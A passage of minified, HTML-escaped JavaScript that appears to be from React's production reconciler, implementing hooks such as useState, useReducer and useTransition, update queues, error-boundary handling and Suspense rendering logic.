a=t.memoizedState;if(a!==null&amp;&amp;(a=a.dehydrated,a===null||Dc(a)||Mc(a)))return t}else if(t.tag===19&amp;&amp;(t.memoizedProps.revealOrder===&quot;forwards&quot;||t.memoizedProps.revealOrder===&quot;backwards&quot;||t.memoizedProps.revealOrder===&quot;unstable_legacy-backwards&quot;||t.memoizedProps.revealOrder===&quot;together&quot;)){if((t.flags&amp;128)!==0)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var da=0,ge=null,qe=null,Pe=null,Ds=!1,Ll=!1,ol=!1,Ms=0,Cn=0,kl=null,E0=0;function Ze(){throw Error(r(321))}function Cu(e,t){if(t===null)return!1;for(var a=0;a&lt;t.length&amp;&amp;a&lt;e.length;a++)if(!_t(e[a],t[a]))return!1;return!0}function zu(e,t,a,l,s,i){return da=i,ge=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,w.H=e===null||e.memoizedState===null?vd:Xu,ol=!1,i=a(l,s),ol=!1,Ll&amp;&amp;(i=Ho(t,a,l,s)),Uo(e),i}function Uo(e){w.H=wn;var t=qe!==null&amp;&amp;qe.next!==null;if(da=0,Pe=qe=ge=null,Ds=!1,Cn=0,kl=null,t)throw Error(r(300));e===null||Ie||(e=e.dependencies,e!==null&amp;&amp;Es(e)&amp;&amp;(Ie=!0))}function Ho(e,t,a,l){ge=e;var s=0;do{if(Ll&amp;&amp;(kl=null),Cn=0,Ll=!1,25&lt;=s)throw Error(r(301));if(s+=1,Pe=qe=null,e.updateQueue!=null){var i=e.updateQueue;i.lastEffect=null,i.events=null,i.stores=null,i.memoCache!=null&amp;&amp;(i.memoCache.index=0)}w.H=yd,i=t(a,l)}while(Ll);return i}function _0(){var e=w.H,t=e.useState()[0];return t=typeof t.then==&quot;function&quot;?zn(t):t,e=e.useState()[0],(qe!==null?qe.memoizedState:null)!==e&amp;&amp;(ge.flags|=1024),t}function Ou(){var e=Ms!==0;return Ms=0,e}function wu(e,t,a){t.updateQueue=e.updateQueue,t.flags&amp;=-2053,e.lanes&amp;=~a}function Ru(e){if(Ds){for(e=e.memoizedState;e!==null;){var t=e.queue;t!==null&amp;&amp;(t.pending=null),e=e.next}Ds=!1}da=0,Pe=qe=ge=null,Ll=!1,Cn=Ms=0,kl=null}function mt(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return Pe===null?ge.memoizedState=Pe=e:Pe=Pe.next=e,Pe}function Ke(){if(qe===null){var e=ge.alternate;e=e!==null?e.memoizedState:null}else e=qe.next;var t=Pe===null?ge.memoizedState:Pe.next;if(t!==null)Pe=t,qe=e;else{if(e===null)throw ge.alternate===null?Error(r(467)):Error(r(310));qe=e,e={memoizedState:qe.memoizedState,baseState:qe.baseState,baseQueue:qe.baseQueue,queue:qe.queue,next:null},Pe===null?ge.memoizedState=Pe=e:Pe=Pe.next=e}return Pe}function Us(){return{lastEffect:null,events:null,stores:null,memoCache:null}}function zn(e){var t=Cn;return Cn+=1,kl===null&amp;&amp;(kl=[]),e=To(kl,e,t),t=ge,(Pe===null?t.memoizedState:Pe.next)===null&amp;&amp;(t=t.alternate,w.H=t===null||t.memoizedState===null?vd:Xu),e}function Hs(e){if(e!==null&amp;&amp;typeof e==&quot;object&quot;){if(typeof e.then==&quot;function&quot;)return zn(e);if(e.$$typeof===K)return ut(e)}throw Error(r(438,String(e)))}function Du(e){var t=null,a=ge.updateQueue;if(a!==null&amp;&amp;(t=a.memoCache),t==null){var l=ge.alternate;l!==null&amp;&amp;(l=l.updateQueue,l!==null&amp;&amp;(l=l.memoCache,l!=null&amp;&amp;(t={data:l.data.map(function(s){return s.slice()}),index:0})))}if(t==null&amp;&amp;(t={data:[],index:0}),a===null&amp;&amp;(a=Us(),ge.updateQueue=a),a.memoCache=t,a=t.data[t.index],a===void 0)for(a=t.data[t.index]=Array(e),l=0;l&lt;e;l++)a[l]=W;return t.index++,a}function fa(e,t){return typeof t==&quot;function&quot;?t(e):t}function qs(e){var t=Ke();return Mu(t,qe,e)}function Mu(e,t,a){var l=e.queue;if(l===null)throw Error(r(311));l.lastRenderedReducer=a;var s=e.baseQueue,i=l.pending;if(i!==null){if(s!==null){var o=s.next;s.next=i.next,i.next=o}t.baseQueue=s=i,l.pending=null}if(i=e.baseState,s===null)e.memoizedState=i;else{t=s.next;var h=o=null,S=null,C=t,L=!1;do{var Z=C.lane&amp;-536870913;if(Z!==C.lane?(Te&amp;Z)===Z:(da&amp;Z)===Z){var z=C.revertLane;if(z===0)S!==null&amp;&amp;(S=S.next={lane:0,revertLane:0,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null}),Z===Ml&amp;&amp;(L=!0);else if((da&amp;z)===z){C=C.next,z===Ml&amp;&amp;(L=!0);continue}else Z={lane:0,revertLane:C.revertLane,gesture:null,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},S===null?(h=S=Z,o=i):S=S.next=Z,ge.lanes|=z,Ba|=z;Z=C.action,ol&amp;&amp;a(i,Z),i=C.hasEagerState?C.eagerState:a(i,Z)}else z={lane:Z,revertLane:C.revertLane,gesture:C.gesture,action:C.action,hasEagerState:C.hasEagerState,eagerState:C.eagerState,next:null},S===null?(h=S=z,o=i):S=S.next=z,ge.lanes|=Z,Ba|=Z;C=C.next}while(C!==null&amp;&amp;C!==t);if(S===null?o=i:S.next=h,!_t(i,e.memoizedState)&amp;&amp;(Ie=!0,L&amp;&amp;(a=Ul,a!==null)))throw a;e.memoizedState=i,e.baseState=o,e.baseQueue=S,l.lastRenderedState=i}return s===null&amp;&amp;(l.lanes=0),[e.memoizedState,l.dispatch]}function Uu(e){var t=Ke(),a=t.queue;if(a===null)throw Error(r(311));a.lastRenderedReducer=e;var l=a.dispatch,s=a.pending,i=t.memoizedState;if(s!==null){a.pending=null;var o=s=s.next;do i=e(i,o.action),o=o.next;while(o!==s);_t(i,t.memoizedState)||(Ie=!0),t.memoizedState=i,t.baseQueue===null&amp;&amp;(t.baseState=i),a.lastRenderedState=i}return[i,l]}function qo(e,t,a){var l=ge,s=Ke(),i=Ce;if(i){if(a===void 0)throw Error(r(407));a=a()}else a=t();var o=!_t((qe||s).memoizedState,a);if(o&amp;&amp;(s.memoizedState=a,Ie=!0),s=s.queue,Bu(ko.bind(null,l,s,e),[e]),s.getSnapshot!==t||o||Pe!==null&amp;&amp;Pe.memoizedState.tag&amp;1){if(l.flags|=2048,Gl(9,{destroy:void 0},Lo.bind(null,l,s,a,t),null),ke===null)throw Error(r(349));i||(da&amp;127)!==0||Bo(l,t,a)}return a}function Bo(e,t,a){e.flags|=16384,e={getSnapshot:t,value:a},t=ge.updateQueue,t===null?(t=Us(),ge.updateQueue=t,t.stores=[e]):(a=t.stores,a===null?t.stores=[e]:a.push(e))}function Lo(e,t,a,l){t.value=a,t.getSnapshot=l,Go(t)&amp;&amp;Yo(e)}function ko(e,t,a){return a(function(){Go(t)&amp;&amp;Yo(e)})}function Go(e){var t=e.getSnapshot;e=e.value;try{var a=t();return!_t(e,a)}catch{return!0}}function Yo(e){var t=tl(e,2);t!==null&amp;&amp;jt(t,e,2)}function Hu(e){var t=mt();if(typeof e==&quot;function&quot;){var a=e;if(e=a(),ol){Ea(!0);try{a()}finally{Ea(!1)}}}return t.memoizedState=t.baseState=e,t.queue={pending:null,lanes:0,dispatch:null,lastRenderedReducer:fa,lastRenderedState:e},t}function Qo(e,t,a,l){return e.baseState=a,Mu(e,qe,typeof l==&quot;function&quot;?l:fa)}function T0(e,t,a,l,s){if(ks(e))throw Error(r(485));if(e=t.action,e!==null){var i={payload:s,action:e,next:null,isTransition:!0,status:&quot;pending&quot;,value:null,reason:null,listeners:[],then:function(o){i.listeners.push(o)}};w.T!==null?a(!0):i.isTransition=!1,l(i),a=t.pending,a===null?(i.next=t.pending=i,Xo(t,i)):(i.next=a.next,t.pending=a.next=i)}}function Xo(e,t){var a=t.action,l=t.payload,s=e.state;if(t.isTransition){var i=w.T,o={};w.T=o;try{var h=a(s,l),S=w.S;S!==null&amp;&amp;S(o,h),Vo(e,t,h)}catch(C){qu(e,t,C)}finally{i!==null&amp;&amp;o.types!==null&amp;&amp;(i.types=o.types),w.T=i}}else try{i=a(s,l),Vo(e,t,i)}catch(C){qu(e,t,C)}}function Vo(e,t,a){a!==null&amp;&amp;typeof a==&quot;object&quot;&amp;&amp;typeof a.then==&quot;function&quot;?a.then(function(l){Zo(e,t,l)},function(l){return qu(e,t,l)}):Zo(e,t,a)}function Zo(e,t,a){t.status=&quot;fulfilled&quot;,t.value=a,Jo(t),e.state=a,t=e.pending,t!==null&amp;&amp;(a=t.next,a===t?e.pending=null:(a=a.next,t.next=a,Xo(e,a)))}function qu(e,t,a){var l=e.pending;if(e.pending=null,l!==null){l=l.next;do t.status=&quot;rejected&quot;,t.reason=a,Jo(t),t=t.next;while(t!==l)}e.action=null}function Jo(e){e=e.listeners;for(var t=0;t&lt;e.length;t++)(0,e[t])()}function $o(e,t){return t}function Ko(e,t){if(Ce){var a=ke.formState;if(a!==null){e:{var l=ge;if(Ce){if(Ge){t:{for(var s=Ge,i=kt;s.nodeType!==8;){if(!i){s=null;break t}if(s=Yt(s.nextSibling),s===null){s=null;break t}}i=s.data,s=i===&quot;F!&quot;||i===&quot;F&quot;?s:null}if(s){Ge=Yt(s.nextSibling),l=s.data===&quot;F!&quot;;break e}}za(l)}l=!1}l&amp;&amp;(t=a[0])}}return a=mt(),a.memoizedState=a.baseState=t,l={pending:null,lanes:0,dispatch:null,lastRenderedReducer:$o,lastRenderedState:t},a.queue=l,a=hd.bind(null,ge,l),l.dispatch=a,l=Hu(!1),i=Qu.bind(null,ge,!1,l.queue),l=mt(),s={state:t,dispatch:null,action:e,pending:null},l.queue=s,a=T0.bind(null,ge,s,i,a),s.dispatch=a,l.memoizedState=e,[t,a,!1]}function Fo(e){var t=Ke();return Wo(t,qe,e)}function Wo(e,t,a){if(t=Mu(e,t,$o)[0],e=qs(fa)[0],typeof t==&quot;object&quot;&amp;&amp;t!==null&amp;&amp;typeof t.then==&quot;function&quot;)try{var l=zn(t)}catch(o){throw o===Hl?As:o}else l=t;t=Ke();var s=t.queue,i=s.dispatch;return a!==t.memoizedState&amp;&amp;(ge.flags|=2048,Gl(9,{destroy:void 0},A0.bind(null,s,a),null)),[l,i,e]}function A0(e,t){e.action=t}function Po(e){var t=Ke(),a=qe;if(a!==null)return Wo(t,a,e);Ke(),t=t.memoizedState,a=Ke();var l=a.queue.dispatch;return a.memoizedState=e,[t,l,!1]}function Gl(e,t,a,l){return e={tag:e,create:a,deps:l,inst:t,next:null},t=ge.updateQueue,t===null&amp;&amp;(t=Us(),ge.updateQueue=t),a=t.lastEffect,a===null?t.lastEffect=e.next=e:(l=a.next,a.next=e,e.next=l,t.lastEffect=e),e}function Io(){return Ke().memoizedState}function Bs(e,t,a,l){var s=mt();ge.flags|=e,s.memoizedState=Gl(1|t,{destroy:void 0},a,l===void 0?null:l)}function Ls(e,t,a,l){var s=Ke();l=l===void 0?null:l;var i=s.memoizedState.inst;qe!==null&amp;&amp;l!==null&amp;&amp;Cu(l,qe.memoizedState.deps)?s.memoizedState=Gl(t,i,a,l):(ge.flags|=e,s.memoizedState=Gl(1|t,i,a,l))}function ed(e,t){Bs(8390656,8,e,t)}function Bu(e,t){Ls(2048,8,e,t)}function C0(e){ge.flags|=4;var t=ge.updateQueue;if(t===null)t=Us(),ge.updateQueue=t,t.events=[e];else{var a=t.events;a===null?t.events=[e]:a.push(e)}}function td(e){var t=Ke().memoizedState;return C0({ref:t,nextImpl:e}),function(){if((De&amp;2)!==0)throw Error(r(440));return t.impl.apply(void 0,arguments)}}function ad(e,t){return Ls(4,2,e,t)}function ld(e,t){return Ls(4,4,e,t)}function nd(e,t){if(typeof t==&quot;function&quot;){e=e();var a=t(e);return function(){typeof a==&quot;function&quot;?a():t(null)}}if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function sd(e,t,a){a=a!=null?a.concat([e]):null,Ls(4,4,nd.bind(null,t,e),a)}function Lu(){}function id(e,t){var a=Ke();t=t===void 0?null:t;var l=a.memoizedState;return t!==null&amp;&amp;Cu(t,l[1])?l[0]:(a.memoizedState=[e,t],e)}function ud(e,t){var a=Ke();t=t===void 0?null:t;var l=a.memoizedState;if(t!==null&amp;&amp;Cu(t,l[1]))return l[0];if(l=e(),ol){Ea(!0);try{e()}finally{Ea(!1)}}return a.memoizedState=[l,t],l}function ku(e,t,a){return a===void 0||(da&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?e.memoizedState=t:(e.memoizedState=a,e=rf(),ge.lanes|=e,Ba|=e,a)}function cd(e,t,a,l){return _t(a,t)?a:Bl.current!==null?(e=ku(e,a,l),_t(e,t)||(Ie=!0),e):(da&amp;42)===0||(da&amp;1073741824)!==0&amp;&amp;(Te&amp;261930)===0?(Ie=!0,e.memoizedState=a):(e=rf(),ge.lanes|=e,Ba|=e,t)}function rd(e,t,a,l,s){var i=Y.p;Y.p=i!==0&amp;&amp;8&gt;i?i:8;var o=w.T,h={};w.T=h,Qu(e,!1,t,a);try{var S=s(),C=w.S;if(C!==null&amp;&amp;C(h,S),S!==null&amp;&amp;typeof S==&quot;object&quot;&amp;&amp;typeof S.then==&quot;function&quot;){var L=N0(S,l);On(e,t,L,wt(e))}else On(e,t,l,wt(e))}catch(Z){On(e,t,{then:function(){},status:&quot;rejected&quot;,reason:Z},wt())}finally{Y.p=i,o!==null&amp;&amp;h.types!==null&amp;&amp;(o.types=h.types),w.T=o}}function z0(){}function Gu(e,t,a,l){if(e.tag!==5)throw Error(r(476));var s=od(e).queue;rd(e,s,t,ie,a===null?z0:function(){return dd(e),a(l)})}function od(e){var t=e.memoizedState;if(t!==null)return t;t={memoizedState:ie,baseState:ie,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:fa,lastRenderedState:ie},next:null};var a={};return t.next={memoizedState:a,baseState:a,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:fa,lastRenderedState:a},next:null},e.memoizedState=t,e=e.alternate,e!==null&amp;&amp;(e.memoizedState=t),t}function dd(e){var t=od(e);t.next===null&amp;&amp;(t=e.alternate.memoizedState),On(e,t.next.queue,{},wt())}function Yu(){return ut(Jn)}function fd(){return Ke().memoizedState}function md(){return Ke().memoizedState}function O0(e){for(var t=e.return;t!==null;){switch(t.tag){case 24:case 3:var a=wt();e=Ra(a);var l=Da(t,e,a);l!==null&amp;&amp;(jt(l,t,a),_n(l,t,a)),t={cache:vu()},e.payload=t;return}t=t.return}}function w0(e,t,a){var l=wt();a={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null},ks(e)?pd(t,a):(a=iu(e,t,a,l),a!==null&amp;&amp;(jt(a,e,l),xd(a,t,l)))}function hd(e,t,a){var l=wt();On(e,t,a,l)}function On(e,t,a,l){var s={lane:l,revertLane:0,gesture:null,action:a,hasEagerState:!1,eagerState:null,next:null};if(ks(e))pd(t,s);else{var i=e.alternate;if(e.lanes===0&amp;&amp;(i===null||i.lanes===0)&amp;&amp;(i=t.lastRenderedReducer,i!==null))try{var o=t.lastRenderedState,h=i(o,a);if(s.hasEagerState=!0,s.eagerState=h,_t(h,o))return bs(e,t,s,0),ke===null&amp;&amp;gs(),!1}catch{}finally{}if(a=iu(e,t,s,l),a!==null)return jt(a,e,l),xd(a,t,l),!0}return!1}function Qu(e,t,a,l){if(l={lane:2,revertLane:jc(),gesture:null,action:l,hasEagerState:!1,eagerState:null,next:null},ks(e)){if(t)throw Error(r(479))}else t=iu(e,a,l,2),t!==null&amp;&amp;jt(t,e,2)}function ks(e){var t=e.alternate;return e===ge||t!==null&amp;&amp;t===ge}function pd(e,t){Ll=Ds=!0;var a=e.pending;a===null?t.next=t:(t.next=a.next,a.next=t),e.pending=t}function xd(e,t,a){if((a&amp;4194048)!==0){var l=t.lanes;l&amp;=e.pendingLanes,a|=l,t.lanes=a,br(e,a)}}var wn={readContext:ut,use:Hs,useCallback:Ze,useContext:Ze,useEffect:Ze,useImperativeHandle:Ze,useLayoutEffect:Ze,useInsertionEffect:Ze,useMemo:Ze,useReducer:Ze,useRef:Ze,useState:Ze,useDebugValue:Ze,useDeferredValue:Ze,useTransition:Ze,useSyncExternalStore:Ze,useId:Ze,useHostTransitionStatus:Ze,useFormState:Ze,useActionState:Ze,useOptimistic:Ze,useMemoCache:Ze,useCacheRefresh:Ze};wn.useEffectEvent=Ze;var vd={readContext:ut,use:Hs,useCallback:function(e,t){return mt().memoizedState=[e,t===void 0?null:t],e},useContext:ut,useEffect:ed,useImperativeHandle:function(e,t,a){a=a!=null?a.concat([e]):null,Bs(4194308,4,nd.bind(null,t,e),a)},useLayoutEffect:function(e,t){return Bs(4194308,4,e,t)},useInsertionEffect:function(e,t){Bs(4,2,e,t)},useMemo:function(e,t){var a=mt();t=t===void 0?null:t;var l=e();if(ol){Ea(!0);try{e()}finally{Ea(!1)}}return a.memoizedState=[l,t],l},useReducer:function(e,t,a){var l=mt();if(a!==void 0){var s=a(t);if(ol){Ea(!0);try{a(t)}finally{Ea(!1)}}}else s=t;return l.memoizedState=l.baseState=s,e={pending:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:s},l.queue=e,e=e.dispatch=w0.bind(null,ge,e),[l.memoizedState,e]},useRef:function(e){var t=mt();return e={current:e},t.memoizedState=e},useState:function(e){e=Hu(e);var t=e.queue,a=hd.bind(null,ge,t);return t.dispatch=a,[e.memoizedState,a]},useDebugValue:Lu,useDeferredValue:function(e,t){var a=mt();return ku(a,e,t)},useTransition:function(){var e=Hu(!1);return e=rd.bind(null,ge,e.queue,!0,!1),mt().memoizedState=e,[!1,e]},useSyncExternalStore:function(e,t,a){var l=ge,s=mt();if(Ce){if(a===void 0)throw Error(r(407));a=a()}else{if(a=t(),ke===null)throw Error(r(349));(Te&amp;127)!==0||Bo(l,t,a)}s.memoizedState=a;var i={value:a,getSnapshot:t};return s.queue=i,ed(ko.bind(null,l,i,e),[e]),l.flags|=2048,Gl(9,{destroy:void 0},Lo.bind(null,l,i,a,t),null),a},useId:function(){var e=mt(),t=ke.identifierPrefix;if(Ce){var a=It,l=Pt;a=(l&amp;~(1&lt;&lt;32-Et(l)-1)).toString(32)+a,t=&quot;_&quot;+t+&quot;R_&quot;+a,a=Ms++,0&lt;a&amp;&amp;(t+=&quot;H&quot;+a.toString(32)),t+=&quot;_&quot;}else a=E0++,t=&quot;_&quot;+t+&quot;r_&quot;+a.toString(32)+&quot;_&quot;;return e.memoizedState=t},useHostTransitionStatus:Yu,useFormState:Ko,useActionState:Ko,useOptimistic:function(e){var t=mt();t.memoizedState=t.baseState=e;var a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:null,lastRenderedState:null};return t.queue=a,t=Qu.bind(null,ge,!0,a),a.dispatch=t,[e,t]},useMemoCache:Du,useCacheRefresh:function(){return mt().memoizedState=O0.bind(null,ge)},useEffectEvent:function(e){var t=mt(),a={impl:e};return t.memoizedState=a,function(){if((De&amp;2)!==0)throw Error(r(440));return a.impl.apply(void 0,arguments)}}},Xu={readContext:ut,use:Hs,useCallback:id,useContext:ut,useEffect:Bu,useImperativeHandle:sd,useInsertionEffect:ad,useLayoutEffect:ld,useMemo:ud,useReducer:qs,useRef:Io,useState:function(){return qs(fa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=Ke();return cd(a,qe.memoizedState,e,t)},useTransition:function(){var e=qs(fa)[0],t=Ke().memoizedState;return[typeof e==&quot;boolean&quot;?e:zn(e),t]},useSyncExternalStore:qo,useId:fd,useHostTransitionStatus:Yu,useFormState:Fo,useActionState:Fo,useOptimistic:function(e,t){var a=Ke();return Qo(a,qe,e,t)},useMemoCache:Du,useCacheRefresh:md};Xu.useEffectEvent=td;var yd={readContext:ut,use:Hs,useCallback:id,useContext:ut,useEffect:Bu,useImperativeHandle:sd,useInsertionEffect:ad,useLayoutEffect:ld,useMemo:ud,useReducer:Uu,useRef:Io,useState:function(){return Uu(fa)},useDebugValue:Lu,useDeferredValue:function(e,t){var a=Ke();return qe===null?ku(a,e,t):cd(a,qe.memoizedState,e,t)},useTransition:function(){var e=Uu(fa)[0],t=Ke().memoizedState;return[typeof e==&quot;boolean&quot;?e:zn(e),t]},useSyncExternalStore:qo,useId:fd,useHostTransitionStatus:Yu,useFormState:Po,useActionState:Po,useOptimistic:function(e,t){var a=Ke();return qe!==null?Qo(a,qe,e,t):(a.baseState=e,[e,a.queue.dispatch])},useMemoCache:Du,useCacheRefresh:md};yd.useEffectEvent=td;function Vu(e,t,a,l){t=e.memoizedState,a=a(l,t),a=a==null?t:b({},t,a),e.memoizedState=a,e.lanes===0&amp;&amp;(e.updateQueue.baseState=a)}var Zu={enqueueSetState:function(e,t,a){e=e._reactInternals;var l=wt(),s=Ra(l);s.payload=t,a!=null&amp;&amp;(s.callback=a),t=Da(e,s,l),t!==null&amp;&amp;(jt(t,e,l),_n(t,e,l))},enqueueReplaceState:function(e,t,a){e=e._reactInternals;var l=wt(),s=Ra(l);s.tag=1,s.payload=t,a!=null&amp;&amp;(s.callback=a),t=Da(e,s,l),t!==null&amp;&amp;(jt(t,e,l),_n(t,e,l))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var a=wt(),l=Ra(a);l.tag=2,t!=null&amp;&amp;(l.callback=t),t=Da(e,l,a),t!==null&amp;&amp;(jt(t,e,a),_n(t,e,a))}};function gd(e,t,a,l,s,i,o){return e=e.stateNode,typeof e.shouldComponentUpdate==&quot;function&quot;?e.shouldComponentUpdate(l,i,o):t.prototype&amp;&amp;t.prototype.isPureReactComponent?!vn(a,l)||!vn(s,i):!0}function bd(e,t,a,l){e=t.state,typeof t.componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.componentWillReceiveProps(a,l),typeof t.UNSAFE_componentWillReceiveProps==&quot;function&quot;&amp;&amp;t.UNSAFE_componentWillReceiveProps(a,l),t.state!==e&amp;&amp;Zu.enqueueReplaceState(t,t.state,null)}function dl(e,t){var a=t;if(&quot;ref&quot;in t){a={};for(var l in t)l!==&quot;ref&quot;&amp;&amp;(a[l]=t[l])}if(e=e.defaultProps){a===t&amp;&amp;(a=b({},a));for(var s in e)a[s]===void 0&amp;&amp;(a[s]=e[s])}return a}function jd(e){ys(e)}function Sd(e){console.error(e)}function Nd(e){ys(e)}function Gs(e,t){try{var a=e.onUncaughtError;a(t.value,{componentStack:t.stack})}catch(l){setTimeout(function(){throw l})}}function Ed(e,t,a){try{var l=e.onCaughtError;l(a.value,{componentStack:a.stack,errorBoundary:t.tag===1?t.stateNode:null})}catch(s){setTimeout(function(){throw s})}}function Ju(e,t,a){return a=Ra(a),a.tag=3,a.payload={element:null},a.callback=function(){Gs(e,t)},a}function _d(e){return e=Ra(e),e.tag=3,e}function Td(e,t,a,l){var s=a.type.getDerivedStateFromError;if(typeof s==&quot;function&quot;){var i=l.value;e.payload=function(){return s(i)},e.callback=function(){Ed(t,a,l)}}var o=a.stateNode;o!==null&amp;&amp;typeof o.componentDidCatch==&quot;function&quot;&amp;&amp;(e.callback=function(){Ed(t,a,l),typeof s!=&quot;function&quot;&amp;&amp;(La===null?La=new Set([this]):La.add(this));var h=l.stack;this.componentDidCatch(l.value,{componentStack:h!==null?h:&quot;&quot;})})}function R0(e,t,a,l,s){if(a.flags|=32768,l!==null&amp;&amp;typeof l==&quot;object&quot;&amp;&amp;typeof l.then==&quot;function&quot;){if(t=a.alternate,t!==null&amp;&amp;Dl(t,a,s,!0),a=At.current,a!==null){switch(a.tag){case 31:case 13:return Gt===null?Is():a.alternate===null&amp;&amp;Je===0&amp;&amp;(Je=3),a.flags&amp;=-257,a.flags|=65536,a.lanes=s,l===Cs?a.flags|=16384:(t=a.updateQueue,t===null?a.updateQueue=new Set([l]):t.add(l),yc(e,l,s)),!1;case 22:return a.flags|=65536,l===Cs?a.flags|=16384:(t=a.updateQueue,t===null?(t={transitions:null,markerInstances:null,retryQueue:new Set([l])},a.updateQueue=t):(a=t.retryQueue,a===null?t.retryQueue=new Set([l]):a.add(l)),yc(e,l,s)),!1}throw Error(r(435,a.tag))}return yc(e,l,s),Is(),!1}if(Ce)return t=At.current,t!==null?((t.flags&amp;65536)===0&amp;&amp;(t.flags|=256),t.flags|=65536,t.lanes=s,l!==fu&amp;&amp;(e=Error(r(422),{cause:l}),bn(qt(e,a)))):(l!==fu&amp;&amp;(t=Error(r(423),{cause:l}),bn(qt(t,a))),e=e.current.alternate,e.flags|=65536,s&amp;=-s,e.lanes|=s,l=qt(l,a),s=Ju(e.stateNode,l,s),Nu(e,s),Je!==4&amp;&amp;(Je=2)),!1;var i=Error(r(520),{cause:l});if(i=qt(i,a),Ln===null?Ln=[i]:Ln.push(i),Je!==4&amp;&amp;(Je=2),t===null)return!0;l=qt(l,a),a=t;do{switch(a.tag){case 3:return a.flags|=65536,e=s&amp;-s,a.lanes|=e,e=Ju(a.stateNode,l,e),Nu(a,e),!1;case 1:if(t=a.type,i=a.stateNode,(a.flags&amp;128)===0&amp;&amp;(typeof t.getDerivedStateFromError==&quot;function&quot;||i!==null&amp;&amp;typeof i.componentDidCatch==&quot;function&quot;&amp;&amp;(La===null||!La.has(i))))return a.flags|=65536,s&amp;=-s,a.lanes|=s,s=_d(s),Td(s,e,a,l),Nu(a,s),!1}a=a.return}while(a!==null);return!1}var $u=Error(r(461)),Ie=!1;function ct(e,t,a,l){t.child=e===null?Oo(t,null,a,l):rl(t,e.child,a,l)}function Ad(e,t,a,l,s){a=a.render;var i=t.ref;if(&quot;ref&quot;in l){var o={};for(var h in l)h!==&quot;ref&quot;&amp;&amp;(o[h]=l[h])}else o=l;return sl(t),l=zu(e,t,a,o,i,s),h=Ou(),e!==null&amp;&amp;!Ie?(wu(e,t,s),ma(e,t,s)):(Ce&amp;&amp;h&amp;&amp;ou(t),t.flags|=1,ct(e,t,l,s),t.child)}function Cd(e,t,a,l,s){if(e===null){var i=a.type;return typeof i==&quot;function&quot;&amp;&amp;!uu(i)&amp;&amp;i.defaultProps===void 0&amp;&amp;a.compare===null?(t.tag=15,t.type=i,zd(e,t,i,l,s)):(e=Ss(a.type,null,l,t,t.mode,s),e.ref=t.ref,e.return=t,t.child=e)}if(i=e.child,!ac(e,s)){var o=i.memoizedProps;if(a=a.compare,a=a!==null?a:vn,a(o,l)&amp;&amp;e.ref===t.ref)return ma(e,t,s)}return t.flags|=1,e=ua(i,l),e.ref=t.ref,e.return=t,t.child=e}function zd(e,t,a,l,s){if(e!==null){var i=e.memoizedProps;if(vn(i,l)&amp;&amp;e.ref===t.ref)if(Ie=!1,t.pendingProps=l=i,ac(e,s))(e.flags&amp;131072)!==0&amp;&amp;(Ie=!0);else return t.lanes=e.lanes,ma(e,t,s)}return Ku(e,t,a,l,s)}function Od(e,t,a,l){var s=l.children,i=e!==null?e.memoizedState:null;if(e===null&amp;&amp;t.stateNode===null&amp;&amp;(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),l.mode===&quot;hidden&quot;){if((t.flags&amp;128)!==0){if(i=i!==null?i.baseLanes|a:a,e!==null){for(l=t.child=e.child,s=0;l!==null;)s=s|l.lanes|l.childLanes,l=l.sibling;l=s&amp;~i}else l=0,t.child=null;return wd(e,t,i,a,l)}if((a&amp;536870912)!==0)t.memoizedState={baseLanes:0,cachePool:null},e!==null&amp;&amp;Ts(t,i!==null?i.cachePool:null),i!==null?Do(t,i):_u(),Mo(t);else return l=t.lanes=536870912,wd(e,t,i!==null?i.baseLanes|a:a,a,l)}else i!==null?(Ts(t,i.cachePool),Do(t,i),Ua(),t.memoizedState=null):(e!==null&amp;&amp;Ts(t,null),_u(),Ua());return ct(e,t,s,a),t.child}function Rn(e,t){return e!==null&amp;&amp;e.tag===22||t.stateNode!==null||(t.stateNode={_visibility:1,_pendingMarkers:null,_retryCache:null,_transitions:null}),t.sibling}function wd(e,t,a,l,s){var i=gu();return i=i===null?null:{parent:We._currentValue,pool:i},t.memoizedState={baseLanes:a,cachePool:i},e!==null&amp;&amp;Ts(t,null),_u(),Mo(t),e!==null&amp;&amp;Dl(e,t,l,!0),t.childLanes=s,null}function Ys(e,t){return t=Xs({mode:t.mode,children:t.children},e.mode),t.ref=e.ref,e.child=t,t.return=e,t}function Rd(e,t,a){return rl(t,e.child,null,a),e=Ys(t,t.pendingProps),e.flags|=2,Ct(t),t.memoizedState=null,e}function D0(e,t,a){var l=t.pendingProps,s=(t.flags&amp;128)!==0;if(t.flags&amp;=-129,e===null){if(Ce){if(l.mode===&quot;hidden&quot;)return e=Ys(t,l),t.lanes=536870912,Rn(null,e);if(Au(t),(e=Ge)?(e=Vf(e,kt),e=e!==null&amp;&amp;e.data===&quot;&amp;&quot;?e:null,e!==null&amp;&amp;(t.memoizedState={dehydrated:e,treeContext:Aa!==null?{id:Pt,overflow:It}:null,retryLane:536870912,hydrationErrors:null},a=po(e),a.return=t,t.child=a,it=t,Ge=null)):e=null,e===null)throw za(t);return t.lanes=536870912,null}return Ys(t,l)}var i=e.memoizedState;if(i!==null){var o=i.dehydrated;if(Au(t),s)if(t.flags&amp;256)t.flags&amp;=-257,t=Rd(e,t,a);else if(t.memoizedState!==null)t.child=e.child,t.flags|=128,t=null;else throw Error(r(558));else if(Ie||Dl(e,t,a,!1),s=(a&amp;e.childLanes)!==0,Ie||s){if(l=ke,l!==null&amp;&amp;(o=jr(l,a),o!==0&amp;&amp;o!==i.retryLane))throw 